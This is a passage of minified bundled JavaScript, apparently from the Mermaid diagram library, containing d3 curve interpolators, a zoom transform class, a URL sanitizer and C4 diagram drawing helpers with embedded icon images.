HX=N(()=>{"use strict";Hv();Wv();o(UX,"BasisClosed");UX.prototype={areaStart:so,areaEnd:so,lineStart:o(function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._y0=this._y1=this._y2=this._y3=this._y4=NaN,this._point=0},"lineStart"),lineEnd:o(function(){switch(this._point){case 1:{this._context.moveTo(this._x2,this._y2),this._context.closePath();break}case 2:{this._context.moveTo((this._x2+2*this._x3)/3,(this._y2+2*this._y3)/3),this._context.lineTo((this._x3+2*this._x2)/3,(this._y3+2*this._y2)/3),this._context.closePath();break}case 3:{this.point(this._x2,this._y2),this.point(this._x3,this._y3),this.point(this._x4,this._y4);break}}},"lineEnd"),point:o(function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1,this._x2=t,this._y2=e;break;case 1:this._point=2,this._x3=t,this._y3=e;break;case 2:this._point=3,this._x4=t,this._y4=e,this._context.moveTo((this._x0+4*this._x1+t)/6,(this._y0+4*this._y1+e)/6);break;default:Q0(this,t,e);break}this._x0=this._x1,this._x1=t,this._y0=this._y1,this._y1=e},"point")};o(K5,"default")});function qX(t){this._context=t}function Q5(t){return new qX(t)}var WX=N(()=>{"use strict";Wv();o(qX,"BasisOpen");qX.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},"lineStart"),lineEnd:o(function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},"lineEnd"),point:o(function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3;var r=(this._x0+4*this._x1+t)/6,n=(this._y0+4*this._y1+e)/6;this._line?this._context.lineTo(r,n):this._context.moveTo(r,n);break;case 3:this._point=4;default:Q0(this,t,e);break}this._x0=this._x1,this._x1=t,this._y0=this._y1,this._y1=e},"point")};o(Q5,"default")});function YX(t,e){this._basis=new qv(t),this._beta=e}var tL,XX=N(()=>{"use strict";Wv();o(YX,"Bundle");YX.prototype={lineStart:o(function(){this._x=[],this._y=[],this._basis.lineStart()},"lineStart"),lineEnd:o(function(){var t=this._x,e=this._y,r=t.length-1;if(r>0)for(var n=t[0],i=e[0],a=t[r]-n,s=e[r]-i,l=-1,u;++l<=r;)u=l/r,this._basis.point(this._beta*t[l]+(1-this._beta)*(n+u*a),this._beta*e[l]+(1-this._beta)*(i+u*s));this._x=this._y=null,this._basis.lineEnd()},"lineEnd"),point:o(function(t,e){this._x.push(+t),this._y.push(+e)},"point")};tL=o((function t(e){function r(n){return e===1?new qv(n):new YX(n,e)}return o(r,"bundle"),r.beta=function(n){return t(+n)},r}),"custom")(.85)});function Z0(t,e,r){t._context.bezierCurveTo(t._x1+t._k*(t._x2-t._x0),t._y1+t._k*(t._y2-t._y0),t._x2+t._k*(t._x1-e),t._y2+t._k*(t._y1-r),t._x2,t._y2)}function Z5(t,e){this._context=t,this._k=(1-e)/6}var Yv,Xv=N(()=>{"use strict";o(Z0,"point");o(Z5,"Cardinal");Z5.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x0=this._x1=this._x2=this._y0=this._y1=this._y2=NaN,this._point=0},"lineStart"),lineEnd:o(function(){switch(this._point){case 2:this._context.lineTo(this._x2,this._y2);break;case 3:Z0(this,this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},"lineEnd"),point:o(function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1,this._line?this._context.lineTo(t,e):this._context.moveTo(t,e);break;case 1:this._point=2,this._x1=t,this._y1=e;break;case 2:this._point=3;default:Z0(this,t,e);break}this._x0=this._x1,this._x1=this._x2,this._x2=t,this._y0=this._y1,this._y1=this._y2,this._y2=e},"point")};Yv=o((function t(e){function r(n){return new Z5(n,e)}return o(r,"cardinal"),r.tension=function(n){return t(+n)},r}),"custom")(0)});function J5(t,e){this._context=t,this._k=(1-e)/6}var rL,nL=N(()=>{"use strict";Hv();Xv();o(J5,"CardinalClosed");J5.prototype={areaStart:so,areaEnd:so,lineStart:o(function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._x5=this._y0=this._y1=this._y2=this._y3=this._y4=this._y5=NaN,this._point=0},"lineStart"),lineEnd:o(function(){switch(this._point){case 1:{this._context.moveTo(this._x3,this._y3),this._context.closePath();break}case 2:{this._context.lineTo(this._x3,this._y3),this._context.closePath();break}case 3:{this.point(this._x3,this._y3),this.point(this._x4,this._y4),this.point(this._x5,this._y5);break}}},"lineEnd"),point:o(function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1,this._x3=t,this._y3=e;break;case 1:this._point=2,this._context.moveTo(this._x4=t,this._y4=e);break;case 2:this._point=3,this._x5=t,this._y5=e;break;default:Z0(this,t,e);break}this._x0=this._x1,this._x1=this._x2,this._x2=t,this._y0=this._y1,this._y1=this._y2,this._y2=e},"point")};rL=o((function t(e){function r(n){return new J5(n,e)}return o(r,"cardinal"),r.tension=function(n){return t(+n)},r}),"custom")(0)});function eT(t,e){this._context=t,this._k=(1-e)/6}var iL,aL=N(()=>{"use strict";Xv();o(eT,"CardinalOpen");eT.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x0=this._x1=this._x2=this._y0=this._y1=this._y2=NaN,this._point=0},"lineStart"),lineEnd:o(function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},"lineEnd"),point:o(function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3,this._line?this._context.lineTo(this._x2,this._y2):this._context.moveTo(this._x2,this._y2);break;case 3:this._point=4;default:Z0(this,t,e);break}this._x0=this._x1,this._x1=this._x2,this._x2=t,this._y0=this._y1,this._y1=this._y2,this._y2=e},"point")};iL=o((function t(e){function r(n){return new eT(n,e)}return o(r,"cardinal"),r.tension=function(n){return t(+n)},r}),"custom")(0)});function jv(t,e,r){var n=t._x1,i=t._y1,a=t._x2,s=t._y2;if(t._l01_a>Xi){var l=2*t._l01_2a+3*t._l01_a*t._l12_a+t._l12_2a,u=3*t._l01_a*(t._l01_a+t._l12_a);n=(n*l-t._x0*t._l12_2a+t._x2*t._l01_2a)/u,i=(i*l-t._y0*t._l12_2a+t._y2*t._l01_2a)/u}if(t._l23_a>Xi){var h=2*t._l23_2a+3*t._l23_a*t._l12_a+t._l12_2a,f=3*t._l23_a*(t._l23_a+t._l12_a);a=(a*h+t._x1*t._l23_2a-e*t._l12_2a)/f,s=(s*h+t._y1*t._l23_2a-r*t._l12_2a)/f}t._context.bezierCurveTo(n,i,a,s,t._x2,t._y2)}function jX(t,e){this._context=t,this._alpha=e}var Kv,tT=N(()=>{"use strict";q5();Xv();o(jv,"point");o(jX,"CatmullRom");jX.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x0=this._x1=this._x2=this._y0=this._y1=this._y2=NaN,this._l01_a=this._l12_a=this._l23_a=this._l01_2a=this._l12_2a=this._l23_2a=this._point=0},"lineStart"),lineEnd:o(function(){switch(this._point){case 2:this._context.lineTo(this._x2,this._y2);break;case 3:this.point(this._x2,this._y2);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},"lineEnd"),point:o(function(t,e){if(t=+t,e=+e,this._point){var r=this._x2-t,n=this._y2-e;this._l23_a=Math.sqrt(this._l23_2a=Math.pow(r*r+n*n,this._alpha))}switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(t,e):this._context.moveTo(t,e);break;case 1:this._point=2;break;case 2:this._point=3;default:jv(this,t,e);break}this._l01_a=this._l12_a,this._l12_a=this._l23_a,this._l01_2a=this._l12_2a,this._l12_2a=this._l23_2a,this._x0=this._x1,this._x1=this._x2,this._x2=t,this._y0=this._y1,this._y1=this._y2,this._y2=e},"point")};Kv=o((function t(e){function r(n){return e?new jX(n,e):new Z5(n,0)}return o(r,"catmullRom"),r.alpha=function(n){return t(+n)},r}),"custom")(.5)});function KX(t,e){this._context=t,this._alpha=e}var sL,QX=N(()=>{"use strict";nL();Hv();tT();o(KX,"CatmullRomClosed");KX.prototype={areaStart:so,areaEnd:so,lineStart:o(function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._x5=this._y0=this._y1=this._y2=this._y3=this._y4=this._y5=NaN,this._l01_a=this._l12_a=this._l23_a=this._l01_2a=this._l12_2a=this._l23_2a=this._point=0},"lineStart"),lineEnd:o(function(){switch(this._point){case 1:{this._context.moveTo(this._x3,this._y3),this._context.closePath();break}case 2:{this._context.lineTo(this._x3,this._y3),this._context.closePath();break}case 3:{this.point(this._x3,this._y3),this.point(this._x4,this._y4),this.point(this._x5,this._y5);break}}},"lineEnd"),point:o(function(t,e){if(t=+t,e=+e,this._point){var r=this._x2-t,n=this._y2-e;this._l23_a=Math.sqrt(this._l23_2a=Math.pow(r*r+n*n,this._alpha))}switch(this._point){case 0:this._point=1,this._x3=t,this._y3=e;break;case 1:this._point=2,this._context.moveTo(this._x4=t,this._y4=e);break;case 2:this._point=3,this._x5=t,this._y5=e;break;default:jv(this,t,e);break}this._l01_a=this._l12_a,this._l12_a=this._l23_a,this._l01_2a=this._l12_2a,this._l12_2a=this._l23_2a,this._x0=this._x1,this._x1=this._x2,this._x2=t,this._y0=this._y1,this._y1=this._y2,this._y2=e},"point")};sL=o((function t(e){function r(n){return e?new KX(n,e):new J5(n,0)}return o(r,"catmullRom"),r.alpha=function(n){return t(+n)},r}),"custom")(.5)});function ZX(t,e){this._context=t,this._alpha=e}var oL,JX=N(()=>{"use strict";aL();tT();o(ZX,"CatmullRomOpen");ZX.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x0=this._x1=this._x2=this._y0=this._y1=this._y2=NaN,this._l01_a=this._l12_a=this._l23_a=this._l01_2a=this._l12_2a=this._l23_2a=this._point=0},"lineStart"),lineEnd:o(function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},"lineEnd"),point:o(function(t,e){if(t=+t,e=+e,this._point){var r=this._x2-t,n=this._y2-e;this._l23_a=Math.sqrt(this._l23_2a=Math.pow(r*r+n*n,this._alpha))}switch(this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3,this._line?this._context.lineTo(this._x2,this._y2):this._context.moveTo(this._x2,this._y2);break;case 3:this._point=4;default:jv(this,t,e);break}this._l01_a=this._l12_a,this._l12_a=this._l23_a,this._l01_2a=this._l12_2a,this._l12_2a=this._l23_2a,this._x0=this._x1,this._x1=this._x2,this._x2=t,this._y0=this._y1,this._y1=this._y2,this._y2=e},"point")};oL=o((function t(e){function r(n){return e?new ZX(n,e):new eT(n,0)}return o(r,"catmullRom"),r.alpha=function(n){return t(+n)},r}),"custom")(.5)});function ej(t){this._context=t}function rT(t){return new ej(t)}var tj=N(()=>{"use strict";Hv();o(ej,"LinearClosed");ej.prototype={areaStart:so,areaEnd:so,lineStart:o(function(){this._point=0},"lineStart"),lineEnd:o(function(){this._point&&this._context.closePath()},"lineEnd"),point:o(function(t,e){t=+t,e=+e,this._point?this._context.lineTo(t,e):(this._point=1,this._context.moveTo(t,e))},"point")};o(rT,"default")});function rj(t){return t<0?-1:1}function nj(t,e,r){var n=t._x1-t._x0,i=e-t._x1,a=(t._y1-t._y0)/(n||i<0&&-0),s=(r-t._y1)/(i||n<0&&-0),l=(a*i+s*n)/(n+i);return(rj(a)+rj(s))*Math.min(Math.abs(a),Math.abs(s),.5*Math.abs(l))||0}function ij(t,e){var r=t._x1-t._x0;return r?(3*(t._y1-t._y0)/r-e)/2:e}function lL(t,e,r){var n=t._x0,i=t._y0,a=t._x1,s=t._y1,l=(a-n)/3;t._context.bezierCurveTo(n+l,i+l*e,a-l,s-l*r,a,s)}function nT(t){this._context=t}function aj(t){this._context=new sj(t)}function sj(t){this._context=t}function Qv(t){return new nT(t)}function Zv(t){return new aj(t)}var oj=N(()=>{"use strict";o(rj,"sign");o(nj,"slope3");o(ij,"slope2");o(lL,"point");o(nT,"MonotoneX");nT.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x0=this._x1=this._y0=this._y1=this._t0=NaN,this._point=0},"lineStart"),lineEnd:o(function(){switch(this._point){case 2:this._context.lineTo(this._x1,this._y1);break;case 3:lL(this,this._t0,ij(this,this._t0));break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},"lineEnd"),point:o(function(t,e){var r=NaN;if(t=+t,e=+e,!(t===this._x1&&e===this._y1)){switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(t,e):this._context.moveTo(t,e);break;case 1:this._point=2;break;case 2:this._point=3,lL(this,ij(this,r=nj(this,t,e)),r);break;default:lL(this,this._t0,r=nj(this,t,e));break}this._x0=this._x1,this._x1=t,this._y0=this._y1,this._y1=e,this._t0=r}},"point")};o(aj,"MonotoneY");(aj.prototype=Object.create(nT.prototype)).point=function(t,e){nT.prototype.point.call(this,e,t)};o(sj,"ReflectContext");sj.prototype={moveTo:o(function(t,e){this._context.moveTo(e,t)},"moveTo"),closePath:o(function(){this._context.closePath()},"closePath"),lineTo:o(function(t,e){this._context.lineTo(e,t)},"lineTo"),bezierCurveTo:o(function(t,e,r,n,i,a){this._context.bezierCurveTo(e,t,n,r,a,i)},"bezierCurveTo")};o(Qv,"monotoneX");o(Zv,"monotoneY")});function cj(t){this._context=t}function lj(t){var e,r=t.length-1,n,i=new Array(r),a=new Array(r),s=new Array(r);for(i[0]=0,a[0]=2,s[0]=t[0]+2*t[1],e=1;e=0;--e)i[e]=(s[e]-i[e+1])/a[e];for(a[r-1]=(t[r]+i[r-1])/2,e=0;e{"use strict";o(cj,"Natural");cj.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x=[],this._y=[]},"lineStart"),lineEnd:o(function(){var t=this._x,e=this._y,r=t.length;if(r)if(this._line?this._context.lineTo(t[0],e[0]):this._context.moveTo(t[0],e[0]),r===2)this._context.lineTo(t[1],e[1]);else for(var n=lj(t),i=lj(e),a=0,s=1;s{"use strict";o(iT,"Step");iT.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x=this._y=NaN,this._point=0},"lineStart"),lineEnd:o(function(){0=0&&(this._t=1-this._t,this._line=1-this._line)},"lineEnd"),point:o(function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1,this._line?this._context.lineTo(t,e):this._context.moveTo(t,e);break;case 1:this._point=2;default:{if(this._t<=0)this._context.lineTo(this._x,e),this._context.lineTo(t,e);else{var r=this._x*(1-this._t)+t*this._t;this._context.lineTo(r,this._y),this._context.lineTo(r,e)}break}}this._x=t,this._y=e},"point")};o(em,"default");o(Jv,"stepBefore");o(e2,"stepAfter")});var fj=N(()=>{"use strict";MX();FX();GX();HX();WX();Wv();VX();XX();nL();aL();Xv();QX();JX();tT();tj();ZD();oj();uj();hj()});var dj=N(()=>{"use strict"});var pj=N(()=>{"use strict"});function Bh(t,e,r){this.k=t,this.x=e,this.y=r}function uL(t){for(;!t.__zoom;)if(!(t=t.parentNode))return cL;return t.__zoom}var cL,hL=N(()=>{"use strict";o(Bh,"Transform");Bh.prototype={constructor:Bh,scale:o(function(t){return t===1?this:new Bh(this.k*t,this.x,this.y)},"scale"),translate:o(function(t,e){return t===0&e===0?this:new Bh(this.k,this.x+this.k*t,this.y+this.k*e)},"translate"),apply:o(function(t){return[t[0]*this.k+this.x,t[1]*this.k+this.y]},"apply"),applyX:o(function(t){return t*this.k+this.x},"applyX"),applyY:o(function(t){return t*this.k+this.y},"applyY"),invert:o(function(t){return[(t[0]-this.x)/this.k,(t[1]-this.y)/this.k]},"invert"),invertX:o(function(t){return(t-this.x)/this.k},"invertX"),invertY:o(function(t){return(t-this.y)/this.k},"invertY"),rescaleX:o(function(t){return t.copy().domain(t.range().map(this.invertX,this).map(t.invert,t))},"rescaleX"),rescaleY:o(function(t){return t.copy().domain(t.range().map(this.invertY,this).map(t.invert,t))},"rescaleY"),toString:o(function(){return"translate("+this.x+","+this.y+") scale("+this.k+")"},"toString")};cL=new Bh(1,0,0);uL.prototype=Bh.prototype;o(uL,"transform")});var mj=N(()=>{"use strict"});var gj=N(()=>{"use strict";w5();dj();pj();hL();mj()});var yj=N(()=>{"use strict";gj();hL()});var yr=N(()=>{"use strict";Ch();SH();HW();XW();B0();jW();KW();JA();gq();QW();G_();ZW();eY();iD();pY();FY();z0();W_();$Y();JW();zY();AX();LX();yl();fj();G5();qD();g5();w5();yj()});var vj=Da(ji=>{"use strict";Object.defineProperty(ji,"__esModule",{value:!0});ji.BLANK_URL=ji.relativeFirstCharacters=ji.whitespaceEscapeCharsRegex=ji.urlSchemeRegex=ji.ctrlCharactersRegex=ji.htmlCtrlEntityRegex=ji.htmlEntitiesRegex=ji.invalidProtocolRegex=void 0;ji.invalidProtocolRegex=/^([^\w]*)(javascript|data|vbscript)/im;ji.htmlEntitiesRegex=/&#(\w+)(^\w|;)?/g;ji.htmlCtrlEntityRegex=/&(newline|tab);/gi;ji.ctrlCharactersRegex=/[\u0000-\u001F\u007F-\u009F\u2000-\u200D\uFEFF]/gim;ji.urlSchemeRegex=/^.+(:|:)/gim;ji.whitespaceEscapeCharsRegex=/(\\|%5[cC])((%(6[eE]|72|74))|[nrt])/g;ji.relativeFirstCharacters=[".","/"];ji.BLANK_URL="about:blank"});var tm=Da(aT=>{"use strict";Object.defineProperty(aT,"__esModule",{value:!0});aT.sanitizeUrl=void 0;var Na=vj();function VCe(t){return Na.relativeFirstCharacters.indexOf(t[0])>-1}o(VCe,"isRelativeUrlWithoutProtocol");function UCe(t){var e=t.replace(Na.ctrlCharactersRegex,"");return e.replace(Na.htmlEntitiesRegex,function(r,n){return String.fromCharCode(n)})}o(UCe,"decodeHtmlCharacters");function HCe(t){return URL.canParse(t)}o(HCe,"isValidUrl");function xj(t){try{return decodeURIComponent(t)}catch{return t}}o(xj,"decodeURI");function qCe(t){if(!t)return Na.BLANK_URL;var e,r=xj(t.trim());do r=UCe(r).replace(Na.htmlCtrlEntityRegex,"").replace(Na.ctrlCharactersRegex,"").replace(Na.whitespaceEscapeCharsRegex,"").trim(),r=xj(r),e=r.match(Na.ctrlCharactersRegex)||r.match(Na.htmlEntitiesRegex)||r.match(Na.htmlCtrlEntityRegex)||r.match(Na.whitespaceEscapeCharsRegex);while(e&&e.length>0);var n=r;if(!n)return Na.BLANK_URL;if(VCe(n))return n;var i=n.trimStart(),a=i.match(Na.urlSchemeRegex);if(!a)return n;var s=a[0].toLowerCase().trim();if(Na.invalidProtocolRegex.test(s))return Na.BLANK_URL;var l=i.replace(/\\/g,"/");if(s==="mailto:"||s.includes("://"))return l;if(s==="http:"||s==="https:"){if(!HCe(l))return Na.BLANK_URL;var u=new URL(l);return u.protocol=u.protocol.toLowerCase(),u.hostname=u.hostname.toLowerCase(),u.toString()}return l}o(qCe,"sanitizeUrl");aT.sanitizeUrl=qCe});var fL,Fd,sT,bj,oT,lT,ua,t2,r2=N(()=>{"use strict";fL=ja(tm(),1);gr();Fd=o((t,e)=>{let r=t.append("rect");if(r.attr("x",e.x),r.attr("y",e.y),r.attr("fill",e.fill),r.attr("stroke",e.stroke),r.attr("width",e.width),r.attr("height",e.height),e.name&&r.attr("name",e.name),e.rx&&r.attr("rx",e.rx),e.ry&&r.attr("ry",e.ry),e.attrs!==void 0)for(let n in e.attrs)r.attr(n,e.attrs[n]);return e.class&&r.attr("class",e.class),r},"drawRect"),sT=o((t,e)=>{let r={x:e.startx,y:e.starty,width:e.stopx-e.startx,height:e.stopy-e.starty,fill:e.fill,stroke:e.stroke,class:"rect"};Fd(t,r).lower()},"drawBackgroundRect"),bj=o((t,e)=>{let r=e.text.replace(pd," "),n=t.append("text");n.attr("x",e.x),n.attr("y",e.y),n.attr("class","legend"),n.style("text-anchor",e.anchor),e.class&&n.attr("class",e.class);let i=n.append("tspan");return i.attr("x",e.x+e.textMargin*2),i.text(r),n},"drawText"),oT=o((t,e,r,n)=>{let i=t.append("image");i.attr("x",e),i.attr("y",r);let a=(0,fL.sanitizeUrl)(n);i.attr("xlink:href",a)},"drawImage"),lT=o((t,e,r,n)=>{let i=t.append("use");i.attr("x",e),i.attr("y",r);let a=(0,fL.sanitizeUrl)(n);i.attr("xlink:href",`#${a}`)},"drawEmbeddedImage"),ua=o(()=>({x:0,y:0,width:100,height:100,fill:"#EDF2AE",stroke:"#666",anchor:"start",rx:0,ry:0}),"getNoteRect"),t2=o(()=>({x:0,y:0,width:100,height:100,"text-anchor":"start",style:"#666",textMargin:0,rx:0,ry:0,tspan:!0}),"getTextObj")});var Tj,dL,wj,WCe,YCe,XCe,jCe,KCe,QCe,ZCe,JCe,e7e,t7e,r7e,n7e,Au,Al,kj=N(()=>{"use strict";gr();r2();Tj=ja(tm(),1),dL=o(function(t,e){return Fd(t,e)},"drawRect"),wj=o(function(t,e,r,n,i,a){let s=t.append("image");s.attr("width",e),s.attr("height",r),s.attr("x",n),s.attr("y",i);let l=a.startsWith("data:image/png;base64")?a:(0,Tj.sanitizeUrl)(a);s.attr("xlink:href",l)},"drawImage"),WCe=o((t,e,r)=>{let n=t.append("g"),i=0;for(let a of e){let s=a.textColor?a.textColor:"#444444",l=a.lineColor?a.lineColor:"#444444",u=a.offsetX?parseInt(a.offsetX):0,h=a.offsetY?parseInt(a.offsetY):0,f="";if(i===0){let p=n.append("line");p.attr("x1",a.startPoint.x),p.attr("y1",a.startPoint.y),p.attr("x2",a.endPoint.x),p.attr("y2",a.endPoint.y),p.attr("stroke-width","1"),p.attr("stroke",l),p.style("fill","none"),a.type!=="rel_b"&&p.attr("marker-end","url("+f+"#arrowhead)"),(a.type==="birel"||a.type==="rel_b")&&p.attr("marker-start","url("+f+"#arrowend)"),i=-1}else{let p=n.append("path");p.attr("fill","none").attr("stroke-width","1").attr("stroke",l).attr("d","Mstartx,starty Qcontrolx,controly stopx,stopy ".replaceAll("startx",a.startPoint.x).replaceAll("starty",a.startPoint.y).replaceAll("controlx",a.startPoint.x+(a.endPoint.x-a.startPoint.x)/2-(a.endPoint.x-a.startPoint.x)/4).replaceAll("controly",a.startPoint.y+(a.endPoint.y-a.startPoint.y)/2).replaceAll("stopx",a.endPoint.x).replaceAll("stopy",a.endPoint.y)),a.type!=="rel_b"&&p.attr("marker-end","url("+f+"#arrowhead)"),(a.type==="birel"||a.type==="rel_b")&&p.attr("marker-start","url("+f+"#arrowend)")}let d=r.messageFont();Au(r)(a.label.text,n,Math.min(a.startPoint.x,a.endPoint.x)+Math.abs(a.endPoint.x-a.startPoint.x)/2+u,Math.min(a.startPoint.y,a.endPoint.y)+Math.abs(a.endPoint.y-a.startPoint.y)/2+h,a.label.width,a.label.height,{fill:s},d),a.techn&&a.techn.text!==""&&(d=r.messageFont(),Au(r)("["+a.techn.text+"]",n,Math.min(a.startPoint.x,a.endPoint.x)+Math.abs(a.endPoint.x-a.startPoint.x)/2+u,Math.min(a.startPoint.y,a.endPoint.y)+Math.abs(a.endPoint.y-a.startPoint.y)/2+r.messageFontSize+5+h,Math.max(a.label.width,a.techn.width),a.techn.height,{fill:s,"font-style":"italic"},d))}},"drawRels"),YCe=o(function(t,e,r){let n=t.append("g"),i=e.bgColor?e.bgColor:"none",a=e.borderColor?e.borderColor:"#444444",s=e.fontColor?e.fontColor:"black",l={"stroke-width":1,"stroke-dasharray":"7.0,7.0"};e.nodeType&&(l={"stroke-width":1});let u={x:e.x,y:e.y,fill:i,stroke:a,width:e.width,height:e.height,rx:2.5,ry:2.5,attrs:l};dL(n,u);let h=r.boundaryFont();h.fontWeight="bold",h.fontSize=h.fontSize+2,h.fontColor=s,Au(r)(e.label.text,n,e.x,e.y+e.label.Y,e.width,e.height,{fill:"#444444"},h),e.type&&e.type.text!==""&&(h=r.boundaryFont(),h.fontColor=s,Au(r)(e.type.text,n,e.x,e.y+e.type.Y,e.width,e.height,{fill:"#444444"},h)),e.descr&&e.descr.text!==""&&(h=r.boundaryFont(),h.fontSize=h.fontSize-2,h.fontColor=s,Au(r)(e.descr.text,n,e.x,e.y+e.descr.Y,e.width,e.height,{fill:"#444444"},h))},"drawBoundary"),XCe=o(function(t,e,r){let n=e.bgColor?e.bgColor:r[e.typeC4Shape.text+"_bg_color"],i=e.borderColor?e.borderColor:r[e.typeC4Shape.text+"_border_color"],a=e.fontColor?e.fontColor:"#FFFFFF",s="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAIAAADYYG7QAAACD0lEQVR4Xu2YoU4EMRCGT+4j8Ai8AhaH4QHgAUjQuFMECUgMIUgwJAgMhgQsAYUiJCiQIBBY+EITsjfTdme6V24v4c8vyGbb+ZjOtN0bNcvjQXmkH83WvYBWto6PLm6v7p7uH1/w2fXD+PBycX1Pv2l3IdDm/vn7x+dXQiAubRzoURa7gRZWd0iGRIiJbOnhnfYBQZNJjNbuyY2eJG8fkDE3bbG4ep6MHUAsgYxmE3nVs6VsBWJSGccsOlFPmLIViMzLOB7pCVO2AtHJMohH7Fh6zqitQK7m0rJvAVYgGcEpe//PLdDz65sM4pF9N7ICcXDKIB5Nv6j7tD0NoSdM2QrU9Gg0ewE1LqBhHR3BBdvj2vapnidjHxD/q6vd7Pvhr31AwcY8eXMTXAKECZZJFXuEq27aLgQK5uLMohCenGGuGewOxSjBvYBqeG6B+Nqiblggdjnc+ZXDy+FNFpFzw76O3UBAROuXh6FoiAcf5g9eTvUgzy0nWg6I8cXHRUpg5bOVBCo+KDpFajOf23GgPme7RSQ+lacIENUgJ6gg1k6HjgOlqnLqip4tEuhv0hNEMXUD0clyXE3p6pZA0S2nnvTlXwLJEZWlb7cTQH1+USgTN4VhAenm/wea1OCAOmqo6fE1WCb9WSKBah+rbUWPWAmE2Rvk0ApiB45eOyNAzU8xcTvj8KvkKEoOaIYeHNA3ZuygAvFMUO0AAAAASUVORK5CYII=";switch(e.typeC4Shape.text){case"person":s="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAIAAADYYG7QAAACD0lEQVR4Xu2YoU4EMRCGT+4j8Ai8AhaH4QHgAUjQuFMECUgMIUgwJAgMhgQsAYUiJCiQIBBY+EITsjfTdme6V24v4c8vyGbb+ZjOtN0bNcvjQXmkH83WvYBWto6PLm6v7p7uH1/w2fXD+PBycX1Pv2l3IdDm/vn7x+dXQiAubRzoURa7gRZWd0iGRIiJbOnhnfYBQZNJjNbuyY2eJG8fkDE3bbG4ep6MHUAsgYxmE3nVs6VsBWJSGccsOlFPmLIViMzLOB7pCVO2AtHJMohH7Fh6zqitQK7m0rJvAVYgGcEpe//PLdDz65sM4pF9N7ICcXDKIB5Nv6j7tD0NoSdM2QrU9Gg0ewE1LqBhHR3BBdvj2vapnidjHxD/q6vd7Pvhr31AwcY8eXMTXAKECZZJFXuEq27aLgQK5uLMohCenGGuGewOxSjBvYBqeG6B+Nqiblggdjnc+ZXDy+FNFpFzw76O3UBAROuXh6FoiAcf5g9eTvUgzy0nWg6I8cXHRUpg5bOVBCo+KDpFajOf23GgPme7RSQ+lacIENUgJ6gg1k6HjgOlqnLqip4tEuhv0hNEMXUD0clyXE3p6pZA0S2nnvTlXwLJEZWlb7cTQH1+USgTN4VhAenm/wea1OCAOmqo6fE1WCb9WSKBah+rbUWPWAmE2Rvk0ApiB45eOyNAzU8xcTvj8KvkKEoOaIYeHNA3ZuygAvFMUO0AAAAASUVORK5CYII=";break;case"external_person":s="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAIAAADYYG7QAAAB6ElEQVR4Xu2YLY+EMBCG9+dWr0aj0Wg0Go1Go0+j8Xdv2uTCvv1gpt0ebHKPuhDaeW4605Z9mJvx4AdXUyTUdd08z+u6flmWZRnHsWkafk9DptAwDPu+f0eAYtu2PEaGWuj5fCIZrBAC2eLBAnRCsEkkxmeaJp7iDJ2QMDdHsLg8SxKFEJaAo8lAXnmuOFIhTMpxxKATebo4UiFknuNo4OniSIXQyRxEA3YsnjGCVEjVXD7yLUAqxBGUyPv/Y4W2beMgGuS7kVQIBycH0fD+oi5pezQETxdHKmQKGk1eQEYldK+jw5GxPfZ9z7Mk0Qnhf1W1m3w//EUn5BDmSZsbR44QQLBEqrBHqOrmSKaQAxdnLArCrxZcM7A7ZKs4ioRq8LFC+NpC3WCBJsvpVw5edm9iEXFuyNfxXAgSwfrFQ1c0iNda8AdejvUgnktOtJQQxmcfFzGglc5WVCj7oDgFqU18boeFSs52CUh8LE8BIVQDT1ABrB0HtgSEYlX5doJnCwv9TXocKCaKbnwhdDKPq4lf3SwU3HLq4V/+WYhHVMa/3b4IlfyikAduCkcBc7mQ3/z/Qq/cTuikhkzB12Ae/mcJC9U+Vo8Ej1gWAtgbeGgFsAMHr50BIWOLCbezvhpBFUdY6EJuJ/QDW0XoMX60zZ0AAAAASUVORK5CYII=";break}let l=t.append("g");l.attr("class","person-man");let 